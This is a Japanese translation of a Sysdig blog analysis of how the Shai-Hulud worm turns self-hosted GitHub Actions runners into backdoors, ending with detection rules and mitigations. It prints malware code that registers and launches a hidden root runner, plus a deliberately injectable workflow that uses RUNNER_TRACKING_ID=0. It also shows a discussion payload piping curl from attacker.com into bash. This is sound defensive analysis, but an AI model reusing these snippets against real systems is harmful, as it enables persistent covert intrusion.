脅威アクターがセルフホスト型GitHub Actionsランナーをバックドアとして悪用する方法

Image

現代のソフトウェア開発は、速度とスケールのために自動化に依存しており、GitHub ActionsはCI/CDパイプライン全体の自動化を推進する主要なエンジンの1つです。GitHub Actionsを使用すると、コードがコンパイルされ、テストが実行され、コードのプッシュやプルリクエストに応じてアプリケーションがデプロイされます――すべて人手を介さずに行われます。 

舞台裏では、これらのワークフローはランナーによって実行されます。ランナーとは、GitHubがホストする、またはユーザーが提供する実行マシンです。GitHubは管理されたインフラを提供し、そのランナーは短命で厳格に制御されています。一方、セルフホストランナーは、より高い制御性とプライベートリソースへのアクセスを得るために、組織が自社の内部サーバーやクラウドインスタンス上でワークフローを実行できるようにします。これは、柔軟性と深い統合のために分離性をトレードオフするものです。しかし、速度にはしばしばセキュリティ上の課題が伴います。

セルフホスト型GitHub Actionsランナーは、信頼されたチャネルのみで通信する永続的なバックドアとして武器化され得ます。すべてのトラフィックがgithub.comに流れるため、従来のネットワーク防御は脅威をほとんど検知できません。2025年11月24日、Shai-Huludワームはまさにこの手法を大規模に実証し、侵害されたマシンに不正なランナーをインストールし、意図的に脆弱なワークフローをコマンド&コントロール(C2)チャネルとして使用しました。

Shai-Huludキャンペーンをケーススタディとして、攻撃者がGitHubのセルフホスト型ランナー基盤を悪用して永続的なリモートアクセスを確立する方法を見ていきましょう。また、攻撃のメカニズム、検知戦略、セキュリティチーム向けの監視推奨事項も検討します。

セルフホスト型ランナーが魅力的な標的である理由

セルフホスト型ランナーにより、組織はGitHub Actionsワークフローを実行するためのマシンを自前でホストできます。GitHubホスト型ランナーとは異なり、セルフホスト型ランナーでは、CI/CD運用中に使用されるOS、インストール済みソフトウェア、ハードウェア仕様をチームが完全に制御できます。この柔軟性に加え、現在セルフホスト型ランナーのGitHub Actions利用が無料であることが、広範な採用を後押ししています。(ただし2026年の料金変更が発表されており、コミュニティからのフィードバックを受けてセルフホスト型ランナーの料金は延期されています。)

攻撃者の観点では、セルフホスト型ランナーは複数の理由で価値があります。内部ネットワークへのアクセスを持つことが多く、キャッシュされた認証情報やシークレットを保持している可能性があり、設計上任意のコードを実行します。登録プロセスも意図的に摩擦が少なく作られています。対象のOSとアーキテクチャを選択すると、GitHubはランナーアプリケーションをダウンロードして設定するための一連のコマンドを提供します。

# Create a folder
mkdir actions-runner && cd actions-runner
# Download the latest runner package
curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz
# Extract the installer
tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz

設定は最も重要なステップです。一意の登録トークンを用いて./config.shを実行することで、マシンはGitHubへの長期的な接続を確立します。

# Create the runner and start the configuration experience
./config.sh --url https://github.com/<owner>/<repository> --token <TOKEN>
# Start listening for jobs
./run.sh

登録トークンは、リポジトリのSettingsメニューから手動で取得することも、GitHub APIを介してプログラム的に取得することもできます。

  • リポジトリレベルのランナー向け:/repos/{owner}/{repo}/actions/runners/registration-token
  • 組織レベルのランナー向け:/orgs/{org}/actions/runners/registration-token

これらのトークンを生成するには管理者レベルの権限が必要です。

ケーススタディ:Shai-Huludバックドア

Shai-Huludワームは、セルフホスト型GitHub Actionsランナーをバックドアとして利用する、この攻撃パターンの野外での明確な例を示しています。トロイの木馬化されたNPMパッケージを通じて開発者マシンを侵害した後、Shai-Huludは不正なGitHubランナーをインストールすることで永続的なアクセスを確立しました。攻撃は4つの明確な段階で進行します。

ステージ1:リポジトリ作成

ワームが十分な権限を持つ有効なGitHubトークンを発見すると、直ちに新しいパブリックリポジトリを作成します。リポジトリ名はランダムな18文字の文字列ですが、説明には固定のマーカーが含まれます:Sha1-Hulud: The Second Coming. 重要なのは、攻撃者がDiscussions機能を有効化する点で、これが後にC2チャネルとして機能します。

async ["createRepo"](repo_name, repo_description = "Sha1-Hulud: The Second Coming.", repo_is_private = false) {
if (!repo_name) {
returnnull;
    }
try {
let _0xc8701c = (awaitthis.octokit.rest.repos.createForAuthenticatedUser({
'name': repo_name,
'description': repo_description,
'private': repo_is_private,
'auto_init': false,
'has_issues': false,
'has_discussions': true,
'has_projects': false,
'has_wiki': false      })).data;
...

このコードは、Discussions機能のみを有効化した最小限のリポジトリを作成します。可視性とノイズを減らすため、それ以外はすべて無効化されています。

ステージ2:ランナー登録トークンの取得

リポジトリが作成されると、マルウェアはGitHub APIを介してランナー登録トークンを要求します。

this.gitRepo = repo_owner + '/' + repo_name;
awaitnewPromise(_0x29dfa6 =>setTimeout(_0x29dfa6, 0xbb8));
if (awaitthis.checkWorkflowScope()) {
try {
let _0x449178 = awaitthis.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
'owner': repo_owner,
'repo': repo_name
        });
if (_0x449178.status == 0xc9) {
let _0x1489ec = _0x449178.data.token;
...

このトークンにより、任意のマシンが攻撃者管理下のリポジトリのワークフローランナーとして自身を登録できるようになり、被害者マシンからGitHubのインフラへ、外向きに開始される直接リンクが実質的に作られます。

ステージ3:ランナーのインストールと実行

マルウェアは公式のGitHub Actionsランナーバイナリをダウンロードし、隠しディレクトリ(~/.dev-env)にインストールし、特徴的な名前SHA1HULUDで設定します。

if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
    Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}

実装上、特に重要な詳細が2点あります。

  • RUNNER_ALLOW_RUNASROOT=1: 既定では、GitHubランナーは追加のセキュリティ層として、権限の低い非rootプロセスとして実行されます。ここでは攻撃者が明示的にこの保護を上書きし、バックドア経由で実行されるコマンドがroot権限を持つようにしています。
  • nohup ... &: nohupを使用しプロセスをバックグラウンド化することで、初期の悪性スクリプトが終了した後もランナーが存続します。

ステージ4:脆弱なワークフローの埋め込み

最後の構成要素は、.github/workflows/discussion.yamlとしてリポジトリにアップロードされるワークフローファイルです。このワークフローはコマンドインジェクションに対して意図的に脆弱です。

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0    runs-on: self-hosted
steps:
      - name: Handle Discussion
run: echo ${{ github.event.discussion.body }}

このワークフローが特に危険である理由は2つあります。

式の補間によるコマンドインジェクション:このワークフローは${{ github.event.discussion.body }}runコマンド内の引数として直接使用しています。GitHub Actionsはこの式を補間し、実行前にディスカッション本文のテキストをシェルスクリプトに文字通り置換してから実行するため、攻撃者は意図されたコマンドから容易に「脱出」できます。ディスカッション本文にバッククォート、セミコロン、パイプなどのシェルメタ文字を含めることで、攻撃者はechoコマンドを抜け出し、ホストマシン上で任意のコードを直接実行できます。

RUNNER_TRACKING_IDによるプロセス永続化:GitHub Actionが完了すると、通常ランナーはジョブ中に開始された孤児プロセスを終了します。RUNNER_TRACKING_ID0(またはジョブの実際のID以外の任意の値)に設定することで、攻撃者はこのクリーンアップ機構を回避し、ワークフロー終了後も生成したプロセスを存続させられます。この手法は2022年にPraetorianが初めて文書化しており、セルフホスト型ランナーが永続的なバックドアへ変換され得ることを示しました。

バックドアを通じたコマンド実行

基盤が整うと、攻撃者はリポジトリのDiscussionsに投稿することで、被害者マシン上で任意のコマンドを実行できます。たとえば、次の内容をディスカッション本文として投稿するとします。

"" && curl -s http://attacker.com/shell.sh | bash

その結果、ランナーは次を実行します。

echo "" && curl -s http://attacker.com/shell.sh | bash

空のechoは正常に完了し、シェルは攻撃者のペイロードをダウンロードして実行します。以下のスクリーンショットでは、より単純なシナリオとして、echoコマンドの実行に続いてwhoamiとプロセス一覧コマンドを実行しています。

Image

これにより、被害者システム上に本格的なバックドアが作成されます。攻撃者がパブリックリポジトリへのアクセスを維持している限り、ディスカッションコメントを投稿するだけで侵害されたマシン上でコードを実行できます。すべてのトラフィックがgithub.comに流れるため、このバックドアは通常の開発アクティビティに紛れ込みます。

より広範なリスクパターン

その他の脆弱なトリガーイベント

Shai-Huludが使用したdiscussionイベントだけが、この種の攻撃のベクターではありません。中核となるリスクは、永続的なランナー上でワークフローが信頼できない外部入力をどのように処理するかにあります。信頼できないユーザーがセルフホスト型ランナー上でワークフローを開始できるイベントは、いずれもバックドア注入のために武器化され得ます。

  • pull_request_target:このイベントはベースリポジトリのコンテキストで実行され、シークレットや特権的なGITHUB_TOKENへのアクセスが付与される可能性があります。このトリガーを使用するワークフローが、悪意あるプルリクエストからコードをチェックアウトしてセルフホスト型ランナー上で実行すると、攻撃者は即座に高権限アクセスを得ます。
  • issue_comment:パブリックリポジトリでは誰でもコメントできるため、このイベントはリモートコマンドインジェクションの自然なベクターになります。コメントテキストを適切にサニタイズせずに処理するワークフローは脆弱です。
  • 見落とされがちなactivity types:私たちが以前の安全でないGitHub Actionsに関する調査で文書化したように、ワークフローイベントに対して粒度の細かいtypesを指定しないと危険な隙間が生まれます。攻撃者は、Issueへのラベル付けやディスカッションのunansweringのような目立たない操作で脆弱なワークフローをトリガーでき、検知される可能性を下げられます。

永続サービスとしてのインストール

観測されたShai-Huludキャンペーンでは、バックドアはランナープロセスの稼働ライフサイクルに紐づいていたため、比較的脆弱でした。ホストマシンが再起動すると、ランナープロセスは生成されたプロセスとともに終了します。

しかし、GitHubはランナーをシステムサービスとして構成するためのネイティブツールを提供しています。./svc.shスクリプトを実行することで、初期のコード実行を得た攻撃者は次を確実にできます。

  1. バックドアが再起動後も生き残る:ランナーアプリケーションがシステムの起動シーケンスの一部として自動的に開始されます。
  2. 検知が最小化される:疑わしい対話型プロセスとして見えるのではなく、侵害されたランナーは標準的なシステムサービス(systemd経由)として動作し、正当なインフラの中に攻撃者の存在を隠します。

一時的なワークフロー実行から永続的なシステムサービスへ移行することで、攻撃者は一度きりのエクスプロイトを恒久的なバックドアへと変換します。

不正なランナーを見つける方法

組織は、無許可の登録がないかGitHubランナーのインベントリを積極的に監視すべきです。次のスクリプトは、リポジトリまたは組織に設定されたすべてのランナーを取得します。

#!/bin/bash
#
# Script to list all GitHub Actions runners with their name and status.
#
# Usage:
#     export GITHUB_TOKEN=your_token_here
#     ./list_runners.sh --owner OWNER [--repo REPO]
set -e
OWNER=""REPO=""
while [[ $# -gt 0 ]]; docase $1in        --owner)
            OWNER="$2"            shift 2            ;;
        --repo)
            REPO="$2"            shift 2            ;;
        --token)
            GITHUB_TOKEN="$2"            shift 2            ;;
        -h|--help)
            echo "Usage: $0 --owner OWNER [--repo REPO] [--token TOKEN]"            exit 0            ;;
        *)
            echo "Unknown option: $1"            exit 1            ;;
    esac
done
if [ -z "$OWNER" ]; then
    echo "Error: --owner is required" >&2    exit 1fi
if [ -z "$GITHUB_TOKEN" ]; then
    echo "Error: GitHub token is required." >&2    exit 1fi
if [ -n "$REPO" ]; then
    API_URL="https://api.github.com/repos/${OWNER}/${REPO}/actions/runners"    SCOPE="${OWNER}/${REPO}"else    API_URL="https://api.github.com/orgs/${OWNER}/actions/runners"    SCOPE="organization: ${OWNER}"fi
RESPONSE=$(curl -s -H "Authorization: token ${GITHUB_TOKEN}" \
                   -H "Accept: application/vnd.github.v3+json" \
"${API_URL}?per_page=100")

if echo "$RESPONSE" | jq -e '.message' > /dev/null2>&1; then
    ERROR_MSG=$(echo "$RESPONSE" | jq -r '.message')
    echo "Error: $ERROR_MSG" >&2    exit 1fi
RUNNER_COUNT=$(echo "$RESPONSE" | jq '.runners | length')

if [ "$RUNNER_COUNT" -eq 0 ]; then
    echo "No runners found for $SCOPE"    exit 0fi
printf "%-10s %-30s %-15s %-10s\n""ID""Name""Status""Busy"printf "%-10s %-30s %-15s %-10s\n""----------""------------------------------""---------------""----------"
echo "$RESPONSE" | jq -r '.runners[] | 
    [.id, (.name | if length > 30 then .[0:27] + "..." else . end), .status, (if .busy then "Yes" else "No" end)] | @tsv' | \
while IFS=$'\t' read -r id name status busy; do    printf "%-10s %-30s %-15s %-10s\n""$id""$name""$status""$busy"done
echo ""echo "Total runners: $RUNNER_COUNT"

さらに、組織はGitHub監査ログイベント、特にrepo.register_self_hosted_runnerを照会し、過去に無許可のランナー登録が発生していないかを特定すべきです。ランナー情報は、リポジトリのSettingsパネルのActionsセクションにあるRunnersページからも直接確認できます。

Image

上記スクリプトの実行により、次のような出力が表示される場合があります。

Image

ただし、登録済みランナーに関する情報は、リポジトリから直接取得することもできます。その場合は、Settingsパネルにアクセスし、ActionセクションのRunnersページを開いてください。

Image

不正なランナーを検知する

環境変数RUNNER_TRACKING_ID=0は、ランナーのプロセスクリーンアップ機構を回避する以外に正当な目的がないため、悪意の信頼できる指標として機能します。

Sysdigは、Sysdig Runtime Notable Eventsポリシーの一部として、Persistence Across Github Runner Executions Detectedルールを提供しています。このルールは、GitHub Actionsジョブ実行の通常のライフサイクルを超えてプロセスが存続しようとする場合にトリガーされます。

- macro: spawned_process
condition: (evt.type in (execve, execveat) and evt.dir=< and evt.arg.res=0)

- rule: Persistence Across Github Runner Executions Detected
desc: This rule detects the usage of the RUNNER_TRACKING_ID environment variable set to 0 or empty string. When this variable is set, the cleanup job does not terminate the associated process. Threat actors can exploit this to maintain persistence across workflow executions.
condition: spawned_process and (proc.env contains "RUNNER_TRACKING_ID=0" or proc.env contains "RUNNER_TRACKING_ID= ") and not proc.aenv[1] contains "RUNNER_TRACKING_ID="exceptions:
  - name: image_repo_list
fields: container.image.repository
comps: in  - name: proc_name_pname
fields: [proc.name, proc.pname]
comps: [in, in]
  - name: proc_name_image_suffix
fields: [proc.name, container.image.repository]
comps: [in, endswith]
output: Persistence attempt via GitHub Runner detected. Process %proc.name (PID: %proc.pid) spawned in container %container.name with RUNNER_TRACKING_ID=%proc.env["RUNNER_TRACKING_ID"]. (user=%user.name image=%container.image.repository cmdline=%proc.cmdline)

Image

組織は次の点についても監視すべきです。

  • 隠しディレクトリ(例:~/.dev-env)から実行されるランナープロセス
  • 疑わしい名前(例:SHA1HULUD)で設定されたランナー
  • ランナープロセスから未知のリポジトリへの予期しない外向き接続
  • runコマンド内にサニタイズされていない式の補間を含むワークフローファイル

緩和策の推奨

GitHub自身のセキュリティ強化ドキュメントはリスクを明確に述べています:「GitHubのセルフホスト型ランナーは、一時的でクリーンな仮想マシン上で実行される保証がなく、ワークフロー内の信頼できないコードによって永続的に侵害され得ます。」

GitHubのガイダンスに基づき、組織は次のコントロールを実装すべきです。

  • パブリックリポジトリでセルフホスト型ランナーを決して使用しない。 リポジトリをフォークしてプルリクエストを作成できる人は誰でも、あなたのランナー上でコードを実行できる可能性があります。
  • エフェメラル(使い捨て)ランナーを使用する。 永続化を防ぐため、各ジョブ実行後にランナー環境を破棄します。GitHubは、このアプローチは「セルフホスト型ランナーが1つのジョブしか実行しないことを保証する方法がないため、意図したほど効果的ではない可能性がある」と指摘していますが、それでもハードルを大きく引き上げます。
  • リポジトリ制限付きのグループにランナーを整理する。 ランナーが組織またはエンタープライズレベルで定義されている場合、GitHubは複数リポジトリのワークフローを同一ランナーにスケジュールできます。ランナーグループを使用して、どのリポジトリがどのランナーにアクセスできるかを制限してください。
  • ランナーマシン上の機密データを最小化する。 シークレット、SSHキー、APIトークンをランナー基盤から排除します。ワークフローを呼び出せるユーザーは誰でもランナー環境にアクセスできると想定してください。
  • ランナーのネットワークアクセスを制限する。 ランナーが到達できる内部サービスを制限します。クラウドメタデータサービス、プロダクションDB、その他の機密インフラへのアクセスをランナーに与えることは避けてください。

結論

セルフホスト型ランナーは、過小評価されがちな攻撃対象領域です。設計上、ワークフローから任意のコードを実行し、GitHubへの永続的な接続を維持し、内部インフラ上で高い権限で動作することも少なくありません。Shai-Huludキャンペーンは、攻撃者がこれらの特性を迅速かつ大規模に悪用し、正当なCI/CDトラフィックにシームレスに溶け込むバックドアを確立できることを示しています。

セルフホスト型ランナーを使用する組織は、ランナーのインベントリを定期的に監査し、信頼できるリポジトリにのみランナー利用を制限し、RUNNER_TRACKING_IDの操作のような永続化手法に対するランタイム検知を実装すべきです。侵害されたランナーは攻撃者にビルド基盤への特権アクセス、さらにはプロダクションのシークレットやデプロイパイプラインへのアクセスを提供し得るため、ランナーセキュリティを優先事項として扱うことが不可欠です。

翻訳元: https://www.sysdig.com/blog/how-threat-actors-are-using-self-hosted-github-actions-runners-as-backdoors

ソース: sysdig.com